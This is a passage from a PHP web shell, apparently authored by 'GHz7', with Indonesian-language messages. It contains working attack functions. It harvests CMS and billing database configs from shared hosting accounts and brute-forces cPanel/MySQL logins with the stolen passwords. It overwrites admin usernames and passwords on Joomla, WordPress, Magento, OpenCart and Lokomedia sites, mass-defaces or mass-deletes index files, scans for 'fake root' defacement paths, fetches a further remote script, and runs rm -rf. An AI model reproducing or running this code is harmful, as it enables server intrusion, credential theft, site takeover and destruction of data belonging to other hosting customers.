1476 "$user_docroot/supportes/bb-config.php" => "BoxBilling",
1477 "$user_docroot/support/bb-config.php" => "BoxBilling",
1478 "$user_docroot/hosting/bb-config.php" => "BoxBilling",
1479 "$user_docroot/cart/bb-config.php" => "BoxBilling",
1480 "$user_docroot/order/bb-config.php" => "BoxBilling",
1481 "$user_docroot/client/bb-config.php" => "BoxBilling",
1482 "$user_docroot/clients/bb-config.php" => "BoxBilling",
1483 "$user_docroot/cliente/bb-config.php" => "BoxBilling",
1484 "$user_docroot/clientes/bb-config.php" => "BoxBilling",
1485 "$user_docroot/billing/bb-config.php" => "BoxBilling",
1486 "$user_docroot/billings/bb-config.php" => "BoxBilling",
1487 "$user_docroot/my/bb-config.php" => "BoxBilling",
1488 "$user_docroot/secure/bb-config.php" => "BoxBilling",
1489 "$user_docroot/support/order/bb-config.php" => "BoxBilling",
1490 "$user_docroot/includes/dist-configure.php" => "Zencart",
1491 "$user_docroot/zencart/includes/dist-configure.php" => "Zencart",
1492 "$user_docroot/products/includes/dist-configure.php" => "Zencart",
1493 "$user_docroot/cart/includes/dist-configure.php" => "Zencart",
1494 "$user_docroot/shop/includes/dist-configure.php" => "Zencart",
1495 "$user_docroot/includes/iso4217.php" => "Hostbills",
1496 "$user_docroot/hostbills/includes/iso4217.php" => "Hostbills",
1497 "$user_docroot/host/includes/iso4217.php" => "Hostbills",
1498 "$user_docroot/Host/includes/iso4217.php" => "Hostbills",
1499 "$user_docroot/supportes/includes/iso4217.php" => "Hostbills",
1500 "$user_docroot/support/includes/iso4217.php" => "Hostbills",
1501 "$user_docroot/hosting/includes/iso4217.php" => "Hostbills",
1502 "$user_docroot/cart/includes/iso4217.php" => "Hostbills",
1503 "$user_docroot/order/includes/iso4217.php" => "Hostbills",
1504 "$user_docroot/client/includes/iso4217.php" => "Hostbills",
1505 "$user_docroot/clients/includes/iso4217.php" => "Hostbills",
1506 "$user_docroot/cliente/includes/iso4217.php" => "Hostbills",
1507 "$user_docroot/clientes/includes/iso4217.php" => "Hostbills",
1508 "$user_docroot/billing/includes/iso4217.php" => "Hostbills",
1509 "$user_docroot/billings/includes/iso4217.php" => "Hostbills",
1510 "$user_docroot/my/includes/iso4217.php" => "Hostbills",
1511 "$user_docroot/secure/includes/iso4217.php" => "Hostbills",
1512 "$user_docroot/support/order/includes/iso4217.php" => "Hostbills"
1513
1514 );
1515 foreach($getconfig as $config => $userconfig) {
1516 $get = file_get_contents($config);
1517 if($get == '') {
1518 }
1519 else {
1520 $fopen = fopen("lamerconfig/$user-$userconfig.txt", "w");
1521 fputs($fopen, $get);
1522 }
1523 }
1524 }
1525 }
1526 }
1527 print "<center><pre><a href='http://".$_SERVER['HTTP_HOST']."/".$GLOBALS['FILEPATH']."/lamerconfig/' frameborder='0' scrolling='yes'>Done!<a></pre></center>";
1528 }
1529 elseif($_GET['do'] == 'aplod'){
1530 if($_POST['upload']) {
1531 if($_POST['uploadtype'] === '1') {
1532 if(@copy($_FILES['file']['tmp_name'], path().DIRECTORY_SEPARATOR.$_FILES['file']['name']."")) {
1533 $act = color(1, 2, "Uploaded!")." at <i><b>".path().DIRECTORY_SEPARATOR.$_FILES['file']['name']."</b></i>";
1534 }
1535 else {
1536 $act = color(1, 1, "Failed to upload file!");
1537 }
1538 }
1539 elseif($_POST['uploadtype'] === '2') {
1540 $root = $_SERVER['DOCUMENT_ROOT'].DIRECTORY_SEPARATOR.$_FILES['file']['name'];
1541 $web = $_SERVER['HTTP_HOST'].DIRECTORY_SEPARATOR.$_FILES['file']['name'];
1542 if(is_writable($_SERVER['DOCUMENT_ROOT'])) {
1543 if(@copy($_FILES['file']['tmp_name'], $root)) {
1544 $act = color(1, 2, "Uploaded!")." at <i><b>$root -> </b></i><a href='http://$web' target='_blank'>$web</a>";
1545 }
1546 else {
1547 $act = color(1, 1, "Failed to upload file!");
1548 }
1549 }
1550 else {
1551 $act = color(1, 1, "Failed to upload file!");
1552 }
1553 }
1554 }
1555 print "<center>$act<form style='margin:0;' method='post' enctype='multipart/form-data'>
1556 <input style='border:2px solid #a6a6a6;font-family:ubuntu;;border-radius:5px;' type='file' name='file'>
1557 <select style='margin:10px auto;background-color:#4d4d4d;border:1px solid #ffffff;border-radius:5px;color:#ffffff;font-family:ubuntu;' name='uploadtype'><option value='1'>ONEDIR</option>
1558 <option value='2'>DOCROOT</option>
1559 </select><br>
1560 <input style='width:36.50%;background-color:#4d4d4d;border:2px solid #a6a6a6;border-radius:5px;' type='submit' value='upload' name='upload'>
1561 </form></center><p>";
1562 files_and_folder();
1563 }
1564 elseif($_GET['do'] == 'cpanel') {
1565 if($_POST['crack']) {
1566 $usercp = explode("\r\n", $_POST['user_cp']);
1567 $passcp = explode("\r\n", $_POST['pass_cp']);
1568 $i = 0;
1569 foreach($usercp as $ucp) {
1570 foreach($passcp as $pcp) {
1571 $connect = mysql_connect('localhost', $ucp, $pcp);
1572 if($connect) {
1573 if($_SESSION[$ucp] && $_SESSION[$pcp]) {
1574 } else {
1575 $_SESSION[$ucp] = "1";
1576 $_SESSION[$pcp] = "1";
1577 if($ucp === '' || $pcp === '') {
1578 //
1579 } else {
1580 $i++;
1581 print "username (".color(1, 2, $ucp).") password (".color(1, 2, $pcp).") domain (";
1582 if(!function_exists('posix_getpwuid')) print color(1, 1, "Function is Disable by System!");
1583 if(!getdomainname()) print color(1, 1, "Can't get domain name");
1584 foreach(getdomainname() as $domain) {
1585 $userdomain = (object) @posix_getpwuid(@fileowner("/etc/valiases/$domain"));
1586 $userdomain = $userdomain->name;
1587 if($userdomain === $user) {
1588 print "<a href='http://$domain/' target='_blank'>".color(1, 2, $domain)."</a><br>";
1589 break;
1590 }
1591 }
1592 print (empty($domain)) ? color(1, 1, "Can't get domain name.") : color(1, 2, $domain);
1593 print ")<br>";
1594 }
1595 }
1596 mysql_close($connect);
1597 }
1598 }
1599 }
1600 print ($i === 0) ? "" : "<p>".color(1, 3, "Sukses nyolong $i Cpanel by GHz7")."</p>";
1601 } else {
1602 print "<center>
1603 <form method='post'>
1604 <textarea style='width: 450px; height: 150px;background:transparent;border:3px solid #4d4d4d;color:#00ff00;' name='user_cp'>";
1605 print implode("\n", getuser());
1606 print "</textarea><br>
1607 <input style='width: 425px; background: transparent; border: 3px solid #4d4d4d; color: #ffffff;' type='text' name='linkpass' placeholder='http://target.com/idx_config/'>
1608 <input style='background: transparent; border: 3px solid #4d4d4d; color: #00ff00;' type='submit' name='submitlink' value='>>'>
1609 <br>
1610 <textarea style='border:3px solid #4d4d4d;width: 450px; height: 200px;' name='pass_cp'>";
1611
1612 if(isset($_POST['submitlink'])) {
1613 $getpass = $_POST['linkpass'];
1614 $get = curl($_POST['linkpass']);
1615 preg_match_all('/<a href="(.*?).txt">/', $get, $link);
1616 foreach($link[1] as $link_config) {
1617 $scandir[] = "$link_config.txt";
1618 }
1619 }
1620 else {
1621 $getpass = path();
1622 $scandir = scandir($getpass);
1623 }
1624
1625 $password = "";
1626
1627 foreach($scandir as $files) {
1628 $file = "$getpass/$files";
1629 $config = file_get_contents($file);
1630 if(preg_match("/WordPress/", $config)) {
1631 $password .= getValue($config, "DB_PASSWORD', '", "'")."\n";
1632 }
1633 elseif(preg_match("/JConfig|joomla/", $config)) {
1634 $password .= getValue($config, "password = '", "'")."\n";
1635 }
1636 elseif(preg_match("/Magento|Mage_Core/", $config)) {
1637 $password .= getValue($config, "<password><![CDATA[", "]]></password>")."\n";
1638 }
1639 elseif(preg_match("/panggil fungsi validasi xss dan injection/", $config)) {
1640 $password .= getValue($config, 'password = "', '"')."\n";
1641 }
1642 elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/", $config)) {
1643 $password .= getValue($config, "'DB_PASSWORD', '", "'")."\n";
1644 }
1645 elseif(preg_match("/^[client]$/", $config)) {
1646 preg_match("/password=(.*?)/", $config, $pass);
1647 if(preg_match('/"/', $pass[1])) {
1648 $pass[1] = str_replace('"', "", $pass[1]);
1649 $password .= $pass[1]."\n";
1650 }
1651 else {
1652 $password .= $pass[1]."\n";
1653 }
1654 }
1655 elseif(preg_match("/cc_encryption_hash/", $config)) {
1656 $password .= getValue($config, "db_password = '", "'")."\n";
1657 }
1658 }
1659
1660 print $password;
1661
1662 print "</textarea><br>
1663 <input style='background: transparent; color: #ffffff; border: 3px solid #4d4d4d; width: 460px;' type='submit' name='crack' value='Crack'>
1664 </form></center>";
1665 }
1666 }
1667 elseif($_GET['do'] == 'mpc') {
1668 if($_POST['hajar']) {
1669 if(strlen($_POST['pass_baru']) < 6 OR strlen($_POST['user_baru']) < 6) {
1670 print "username atau password harus lebih dari 6 karakter";
1671 }
1672 else {
1673 $user_baru = $_POST['user_baru'];
1674 $pass_baru = md5($_POST['pass_baru']);
1675 $conf = $_POST['config_dir'];
1676
1677 if(preg_match("/^http:\/\//", $conf) OR preg_match("/^https:\/\//", $conf)) {
1678 $get = curl($conf);
1679 preg_match_all('/<a href="(.*?).txt">/', $get, $link);
1680 foreach($link[1] as $link_config) {
1681 $scan_conf[] = "$link_config.txt";
1682 }
1683 }
1684 else {
1685 $scan_conf = scandir($conf);
1686 }
1687
1688 foreach($scan_conf as $file_conf) {
1689 $config = file_get_contents("$conf/$file_conf");
1690 if(preg_match("/JConfig|joomla/",$config)) {
1691 $dbhost = getValue($config,"host = '","'");
1692 $dbuser = getValue($config,"user = '","'");
1693 $dbpass = getValue($config,"password = '","'");
1694 $dbname = getValue($config,"db = '","'");
1695 $dbprefix = getValue($config,"dbprefix = '","'");
1696 $prefix = $dbprefix."users";
1697 $conn = mysql_connect($dbhost,$dbuser,$dbpass);
1698 $db = mysql_select_db($dbname);
1699 $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
1700 $result = mysql_fetch_array($q);
1701 $id = $result['id'];
1702 $site = getValue($config,"sitename = '","'");
1703 $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE id='$id'");
1704 print "Config => ".$file_conf."<br>";
1705 print "CMS => Joomla<br>";
1706 if($site == '') {
1707 print "Sitename => ".color(1, 1, "Can't get domain name")."<br>";
1708 }
1709 else {
1710 print "Sitename => $site<br>";
1711 }
1712 if(!$update OR !$conn OR !$db) {
1713 print "Status => ".color(1, 1, mysql_error())."<br><br>";
1714 }
1715 else {
1716 print "Status => ".color(1, 2, "sukses edit user, silakan login dengan user & pass yang baru.")."<br><br>";
1717 }
1718 mysql_close($conn);
1719 } elseif(preg_match("/WordPress/",$config)) {
1720 $dbhost = getValue($config,"DB_HOST', '","'");
1721 $dbuser = getValue($config,"DB_USER', '","'");
1722 $dbpass = getValue($config,"DB_PASSWORD', '","'");
1723 $dbname = getValue($config,"DB_NAME', '","'");
1724 $dbprefix = getValue($config,"table_prefix = '","'");
1725 $prefix = $dbprefix."users";
1726 $option = $dbprefix."options";
1727 $conn = mysql_connect($dbhost,$dbuser,$dbpass);
1728 $db = mysql_select_db($dbname);
1729 $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
1730 $result = mysql_fetch_array($q);
1731 $id = $result[ID];
1732 $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
1733 $result2 = mysql_fetch_array($q2);
1734 $target = $result2[option_value];
1735 if($target == '') {
1736 $url_target = "Login => ".color(1, 1, "Cant't get domain name")."<br>";
1737 }
1738 else {
1739 $url_target = "Login => <a href='$target/wp-login.php' target='_blank'><u>$target/wp-login.php</u></a><br>";
1740 }
1741 $update = mysql_query("UPDATE $prefix SET user_login='$user_baru',user_pass='$pass_baru' WHERE id='$id'");
1742 print "Config => ".$file_conf."<br>";
1743 print "CMS => Wordpress<br>";
1744 print $url_target;
1745 if(!$update OR !$conn OR !$db) {
1746 print "Status => ".color(1, 1, mysql_error())."<br><br>";
1747 }
1748 else {
1749 print "Status => ".color(1, 2, "sukses edit user, silakan login dengan user & pass yang baru.")."<br><br>";
1750 }
1751 mysql_close($conn);
1752 }
1753 elseif(preg_match("/Magento|Mage_Core/",$config)) {
1754 $dbhost = getValue($config,"<host><![CDATA[","]]></host>");
1755 $dbuser = getValue($config,"<username><![CDATA[","]]></username>");
1756 $dbpass = getValue($config,"<password><![CDATA[","]]></password>");
1757 $dbname = getValue($config,"<dbname><![CDATA[","]]></dbname>");
1758 $dbprefix = getValue($config,"<table_prefix><![CDATA[","]]></table_prefix>");
1759 $prefix = $dbprefix."admin_user";
1760 $option = $dbprefix."core_config_data";
1761 $conn = mysql_connect($dbhost,$dbuser,$dbpass);
1762 $db = mysql_select_db($dbname);
1763 $q = mysql_query("SELECT * FROM $prefix ORDER BY user_id ASC");
1764 $result = mysql_fetch_array($q);
1765 $id = $result[user_id];
1766 $q2 = mysql_query("SELECT * FROM $option WHERE path='web/secure/base_url'");
1767 $result2 = mysql_fetch_array($q2);
1768 $target = $result2[value];
1769 if($target == '') {
1770 $url_target = "Login => ".color(1, 1, "Cant't get domain name")."<br>";
1771 }
1772 else {
1773 $url_target = "Login => <a href='$target/admin/' target='_blank'><u>$target/admin/</u></a><br>";
1774 }
1775 $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE user_id='$id'");
1776 print "Config => ".$file_conf."<br>";
1777 print "CMS => Magento<br>";
1778 print $url_target;
1779 if(!$update OR !$conn OR !$db) {
1780 print "Status => ".color(1, 1, mysql_error())."<br><br>";
1781 }
1782 else {
1783 print "Status => ".color(1, 2, "sukses edit user, silakan login dengan user & pass yang baru.")."<br><br>";
1784 }
1785 mysql_close($conn);
1786 } elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/",$config)) {
1787 $dbhost = getValue($config,"'DB_HOSTNAME', '","'");
1788 $dbuser = getValue($config,"'DB_USERNAME', '","'");
1789 $dbpass = getValue($config,"'DB_PASSWORD', '","'");
1790 $dbname = getValue($config,"'DB_DATABASE', '","'");
1791 $dbprefix = getValue($config,"'DB_PREFIX', '","'");
1792 $prefix = $dbprefix."user";
1793 $conn = mysql_connect($dbhost,$dbuser,$dbpass);
1794 $db = mysql_select_db($dbname);
1795 $q = mysql_query("SELECT * FROM $prefix ORDER BY user_id ASC");
1796 $result = mysql_fetch_array($q);
1797 $id = $result[user_id];
1798 $target = getValue($config,"HTTP_SERVER', '","'");
1799 if($target == '') {
1800 $url_target = "Login => ".color(1, 1, "Cant't get domain name")."<br>";
1801 }
1802 else {
1803 $url_target = "Login => <a href='$target' target='_blank'><u>$target</u></a><br>";
1804 }
1805 $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE user_id='$id'");
1806 print "Config => ".$file_conf."<br>";
1807 print "CMS => OpenCart<br>";
1808 print $url_target;
1809 if(!$update OR !$conn OR !$db) {
1810 print "Status => ".color(1, 1, mysql_error())."<br><br>";
1811 }
1812 else {
1813 print "Status => ".color(1, 2, "sukses edit user, silakan login dengan user & pass yang baru.")."<br><br>";
1814 }
1815 mysql_close($conn);
1816 }
1817 elseif(preg_match("/panggil fungsi validasi xss dan injection/",$config)) {
1818 $dbhost = getValue($config,'server = "','"');
1819 $dbuser = getValue($config,'username = "','"');
1820 $dbpass = getValue($config,'password = "','"');
1821 $dbname = getValue($config,'database = "','"');
1822 $prefix = "users";
1823 $option = "identitas";
1824 $conn = mysql_connect($dbhost,$dbuser,$dbpass);
1825 $db = mysql_select_db($dbname);
1826 $q = mysql_query("SELECT * FROM $option ORDER BY id_identitas ASC");
1827 $result = mysql_fetch_array($q);
1828 $target = $result[alamat_website];
1829 if($target == '') {
1830 $target2 = $result[url];
1831 $url_target = "Login => ".color(1, 1, "Cant't get domain name")."<br>";
1832 if($target2 == '') {
1833 $url_target2 = "Login => ".color(1, 1, "Cant't get domain name")."<br>";
1834 }
1835 else {
1836 $cek_login3 = file_get_contents("$target2/adminweb/");
1837 $cek_login4 = file_get_contents("$target2/lokomedia/adminweb/");
1838 if(preg_match("/CMS Lokomedia|Administrator/", $cek_login3)) {
1839 $url_target2 = "Login => <a href='$target2/adminweb' target='_blank'><u>$target2/adminweb</u></a><br>";
1840 }
1841 elseif(preg_match("/CMS Lokomedia|Lokomedia/", $cek_login4)) {
1842 $url_target2 = "Login => <a href='$target2/lokomedia/adminweb' target='_blank'><u>$target2/lokomedia/adminweb</u></a><br>";
1843 }
1844 else {
1845 $url_target2 = "Login => <a href='$target2' target='_blank'><u>$target2</u></a> [ <font color=red>gatau admin login nya dimana :p</font> ]<br>";
1846 }
1847 }
1848 } else {
1849 $cek_login = file_get_contents("$target/adminweb/");
1850 $cek_login2 = file_get_contents("$target/lokomedia/adminweb/");
1851 if(preg_match("/CMS Lokomedia|Administrator/", $cek_login)) {
1852 $url_target = "Login => <a href='$target/adminweb' target='_blank'><u>$target/adminweb</u></a><br>";
1853 }
1854 elseif(preg_match("/CMS Lokomedia|Lokomedia/", $cek_login2)) {
1855 $url_target = "Login => <a href='$target/lokomedia/adminweb' target='_blank'><u>$target/lokomedia/adminweb</u></a><br>";
1856 }
1857 else {
1858 $url_target = "Login => <a href='$target' target='_blank'><u>$target</u></a> [ <font color=red>gatau admin login nya dimana :p</font> ]<br>";
1859 }
1860 }
1861 $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE level='admin'");
1862 print "Config => ".$file_conf."<br>";
1863 print "CMS => Lokomedia<br>";
1864 if(preg_match("/Can't get domain name/", $url_target)) {
1865 print $url_target2;
1866 }
1867 else {
1868 print $url_target;
1869 }
1870 if(!$update OR !$conn OR !$db) {
1871 print "Status => ".color(1, 1, mysql_error())."<br><br>";
1872 }
1873 else {
1874 print "Status => ".color(1, 2, "sukses edit user, silakan login dengan user & pass yang baru.")."<br><br>";
1875 }
1876 mysql_close($conn);
1877 }
1878 }
1879 }
1880 }
1881 else {
1882 print "<center>
1883 <form class='form-3' method='post'>
1884 <font style='margin:10px auto;padding:10px auto;' class='lamer'>Mass Password Change</font><p>
1885 <select style='border-radius:5px;border:1pxn;background: transparent; color: #ffffff;margin: 5px auto;' name='config_type'>
1886 <option value='dir'>DIR</option>
1887 <option value='link'>LINK</option>
1888 </select>
1889 <input type='text' name='config_dir' value='".path()."'>
1890 <input id='login' type='text' name='user_baru' placeholder='username'>
1891 <input id='password' type='text' name='pass_baru' placeholder='password'>
1892 <input style='background-color:transparent;' type='submit' name='hajar' value='Change'>
1893 </form></center>";
1894 }
1895 }
1896 elseif($_GET['do'] === "mass") {
1897 if($_POST['start']) {
1898 if($_POST['mass_type'] === 'singledir') {
1899 print "<div style='margin: 5px auto; padding: 5px'>";
1900 massdeface($_POST['d_dir'], $_POST['script'], $_POST['d_file']);
1901 print "</div>";
1902 }
1903 elseif($_POST['mass_type'] === 'alldir') {
1904 print "<div style='margin: 5px auto; padding: 5px'>";
1905 massdeface($_POST['d_dir'], $_POST['script'], $_POST['d_file'], "-alldir");
1906 print "</div>";
1907 }
1908 elseif($_POST['mass_type'] === "delete") {
1909 print "<div style='margin: 5px auto; padding: 5px'>";
1910 massdelete($_POST['d_dir'], $_POST['d_file']);
1911 print "</div>";
1912 }
1913 }
1914 else {
1915 print "<form style='width:550px;' class='form-3' method='post'>
1916 <font style='margin:0px;display:flex;justify-content:center;align-items:center;' size='20px' class='lamer'>Mass Deface!!!</font><p/>
1917 <select style='float:top;position:relative;margin:10px auto;' name='mass_type'><option value='singledir'>ONE DIR</option><option value='alldir'>ALL DIR</option><option value='delete'>DELETE</option></select><br/>
1918 <input type='text' name='d_dir' value='".path()."' style='width: 525px;padding-left: 5px;resize: none;' height='10'>
1919 <input type='text' name='d_file' placeholder='index.php' style='width: 525px;padding-left: 5px;resize: none;' height='10'>
1920 <textarea name='script' placeholder='Defaced by GHz7' style='width: 525px; height: 200px;'></textarea>
1921 <input style='width: 538px;padding-left: 5px;resize: none;background:#4d4d4d;color: #ffffff;font-family: 'Ubuntu';' type='submit' name='start' value='MASS'>
1922 </form>";
1923 }
1924 }
1925 elseif($_GET['do'] == 'fakeroot') {
1926 ob_start();
1927
1928 $site = explode("\r\n", $_POST['url']);
1929 $user = usergroup()->name;
1930 $file = $_POST['file'];
1931
1932 if(!preg_match("#/home/$user/public_html#", $_SERVER['DOCUMENT_ROOT'])) die(color(1, 1, "I think this server not using shared host :("));
1933
1934
1935 if($_POST['reverse']) {
1936 if(!is_writable($_SERVER['DOCUMENT_ROOT'])) die(color(1, 1, "Directory '".$_SERVER['DOCUMENT_ROOT']."' is not writeable."));
1937 if(!is_writable(dirname($_SERVER['DOCUMENT_ROOT']))) die(color(1, 1, "Directory '".dirname($_SERVER['DOCUMENT_ROOT'])."' is not writeable."));
1938
1939 save($_SERVER['DOCUMENT_ROOT']."/".$file, "w", $_POST['script']);
1940 save(dirname($_SERVER['DOCUMENT_ROOT'])."/".$file, "w", $_POST['script']);
1941
1942 foreach($site as $url) {
1943 $cek = curl("$url/~$user/$file");
1944 if(preg_match("/hacked/i", $cek)) {
1945 print "URL: <a href='$url/~$user/$file' target='_blank'>$url/~$user/$file</a> -> <font color=lime>Fake Root!</font><br>";
1946 }
1947 }
1948 } else {
1949 print "<center><form method='post'>
1950 Filename: <br><input type='text' name='file' value='deface.html' size='50' height='10'><br>
1951 User: <br><input type='text' value='$user' size='50' height='10' readonly><br>
1952 Domain: <br>
1953 <textarea style='width: 450px; height: 250px;' name='url'>";
1954 print implode("\n", reverse());
1955 print "</textarea><br>
1956 <font style='text-decoration: underline;'>Index File:</font><br>
1957 <textarea name='script' style='width: 450px; height: 200px;'>Defaced by GHz7</textarea><br>
1958 <input style='background: transparent; color: #ffffff; border: 1px solid #ffffff; width: 460px; margin: 5px auto;' type='submit' name='reverse' value='Scan Fake Root!'>
1959 </form><br>
1960 NB: Sebelum gunain Tools ini , upload dulu file deface kalian di dir /home/user/ dan /home/user/public_html.</center>";
1961 }
1962 }
1963 elseif($_GET['do'] === 'lre') {
1964 if(file_exists("makman.php")) {
1965 print "<iframe src='http://".$_SERVER['HTTP_HOST']."/".$GLOBALS['FILEPATH']."/makman.php' frameborder='0' scrolling='yes'></iframe>";
1966 }
1967 else {
1968 if(!is_writable(path())) die(color(1, 1, "Directory '".path()."' is not writeable. Can't create file 'Makman'."));
1969 if(getfile("LRE")) {
1970 print "<iframe src='http://".$_SERVER['HTTP_HOST']."/".$GLOBALS['FILEPATH']."/makman.php' frameborder='0' scrolling='yes'></iframe>";
1971 }
1972 else {
1973 print color(1, 1, "Error while downloading file makman.");
1974 @unlink("makman.php");
1975 }
1976 }
1977
1978 }
1979 }
1980 elseif(isset($_GET['act'])) {
1981 if($_GET['act'] === 'newfile') {
1982 if($_POST['save']) {
1983 $filename = htmlspecialchars($_POST['filename']);
1984 $fopen = fopen($filename, "a+");
1985 if($fopen) {
1986 $act = "<script>window.location='?act=edit&dir=".path()."&file=".$_POST['filename']."';</script>";
1987 }
1988 else {
1989 $act = color(1, 1, "Permission Denied!");
1990 }
1991 }
1992 print $act;
1993 print "<form method='post'>
1994 Filename: <input type='text' name='filename' value='".path()."/newfile.php' style='width: 450px;' height='10'>
1995 <input type='submit' class='input' name='save' value='SUBMIT'>
1996 </form>";
1997 }
1998 elseif($_GET['act'] === 'newfolder') {
1999 if($_POST['save']) {
2000 $foldername = path().'/'.htmlspecialchars($_POST['foldername']);
2001 if(!@mkdir($foldername)) {
2002 $act = color(1, 1, "Permission Denied!");
2003 }
2004 else {
2005 $act = "<script>window.location='?dir=".path()."';</script>";
2006 }
2007 }
2008 print $act;
2009 print "<form method='post'>
2010 Folder Name: <input type='text' name='foldername' style='width: 450px;' height='10'>
2011 <input type='submit' class='input' name='save' value='SUBMIT'>
2012 </form>";
2013 }
2014 elseif($_GET['act'] === 'rename_folder') {
2015 if($_POST['save']) {
2016 $rename_folder = rename(path(), "".dirname(path()).DIRECTORY_SEPARATOR.htmlspecialchars($_POST['foldername']));
2017 if($rename_folder) {
2018 $act = "<script>window.location='?dir=".dirname(path())."';</script>";
2019 }
2020 else {
2021 $act = color(1, 1, "Permission Denied!");
2022 }
2023 print "$act<br>";
2024 }
2025 print "<form method='post'>
2026 <input type='text' value='".basename(path())."' name='foldername' style='width: 450px;' height='10'>
2027 <input type='submit' class='input' name='save' value='RENAME'>
2028 </form>";
2029 }
2030 elseif($_GET['act'] === 'delete_folder') {
2031 if(is_dir(path())) {
2032 if(is_writable(path())) {
2033 @rmdir(path());
2034 if(!@rmdir(path()) AND OS() === "Linux") @exe("rm -rf ".path());
2035 if(!@rmdir(path()) AND OS() === "Windows") @exe("rmdir /s /q ".path());
2036 $act = "<script>window.location='?dir=".dirname(path())."';</script>";
2037 }
2038 else {
2039 $act = color(1, 1, "Could not remove directory '".basename(path())."'");
2040 }
2041 }
2042 print $act;
2043 }
2044 elseif($_GET['act'] === 'view') {
2045 print "Filename: ".color(1, 2, basename($_GET['file']))." [".writeable($_GET['file'], perms($_GET['file']))."]<br>";
2046 print "[ <a href='?act=view&dir=".path()."&file=".$_GET['file']."'><b>view</b></a> ] [ <a href='?act=edit&dir=".path()."&file=".$_GET['file']."'>edit</a> ] [ <a href='?act=rename&dir=".path()."&file=".$_GET['file']."'>rename</a> ] [ <a href='?act=download&dir=".path()."&file=".$_GET['file']."'>download</a> ] [ <a href='?act=delete&dir=".path()."&file=".$_GET['file']."'>delete</a> ]<br>";
2047 print "<p><textarea readonly>".htmlspecialchars(@file_get_contents($_GET['file']))."</textarea>";
2048 }
2049 elseif($_GET['act'] === 'edit') {
2050 if($_POST['save']) {
2051 $save = file_put_contents($_GET['file'], $_POST['src']);
2052 if($save) {
2053 $act = color(1, 2, "File Saved!");
2054 }
2055 else {
2056 $act = color(1, 1, "Permission Denied!");
2057 }
2058 print "$act<br>";
2059 }
2060
2061 print "Filename: ".color(1, 2, basename($_GET['file']))." [".writeable($_GET['file'], perms($_GET['file']))."]<br>";
2062 print "[ <a href='?act=view&dir=".path()."&file=".$_GET['file']."'>view</a> ] [ <a href='?act=edit&dir=".path()."&file=".$_GET['file']."'><b>edit</b></a> ] [ <a href='?act=rename&dir=".path()."&file=".$_GET['file']."'>rename</a> ] [ <a href='?act=download&dir=".path()."&file=".$_GET['file']."'>download</a> ] [ <a href='?act=delete&dir=".path()."&file=".$_GET['file']."'>delete</a> ]<br>";
2063 print "<form method='post'>
2064 <textarea name='src'>".htmlspecialchars(@file_get_contents($_GET['file']))."</textarea><br>
2065 <input type='submit' class='input' value='SAVE' name='save' style='width: 500px;'>
2066 </form>";
2067 }
2068 elseif($_GET['act'] === 'rename') {
2069 if($_POST['save']) {
2070 $rename = rename($_GET['file'], path().DIRECTORY_SEPARATOR.htmlspecialchars($_POST['filename']));
2071 if($rename) {
2072 $act = "<script>window.location='?dir=".path()."';</script>";
2073 }
2074 else {
2075 $act = color(1, 1, "Permission Denied!");
2076 }
2077 print "$act<br>";
2078 }
2079
2080 print "Filename: ".color(1, 2, basename($_GET['file']))." [".writeable($_GET['file'], perms($_GET['file']))."]<br>";
2081 print "[ <a href='?act=view&dir=".path()."&file=".$_GET['file']."'>view</a> ] [ <a href='?act=edit&dir=".path()."&file=".$_GET['file']."'>edit</a> ] [ <a href='?act=rename&dir=".path()."&file=".$_GET['file']."'><b>rename</b></a> ] [ <a href='?act=download&dir=".path()."&file=".$_GET['file']."'>download</a> ] [ <a href='?act=delete&dir=".path()."&file=".$_GET['file']."'>delete</a> ]<br>";
2082 print "<form method='post'>
2083 <input type='text' value='".basename($_GET['file'])."' name='filename' style='width: 265px;' height='10'>
2084 <input type='submit' class='input' name='save' value='RENAME'>
2085 </form>";
2086 }
2087 elseif($_GET['act'] === 'delete') {
2088 $delete = unlink($_GET['file']);
2089 if($delete) {
2090 $act = "<script>window.location='?dir=".path()."';</script>";
2091 }
2092 else {
2093 $act = color(1, 1, "Permission Denied!");
2094 }
2095 print $act;
2096 }
2097 }
2098 else {
2099 files_and_folder();
2100 }
2101}
2102serverinfo();
2103action();
2104?>
2105</body>
2106</html>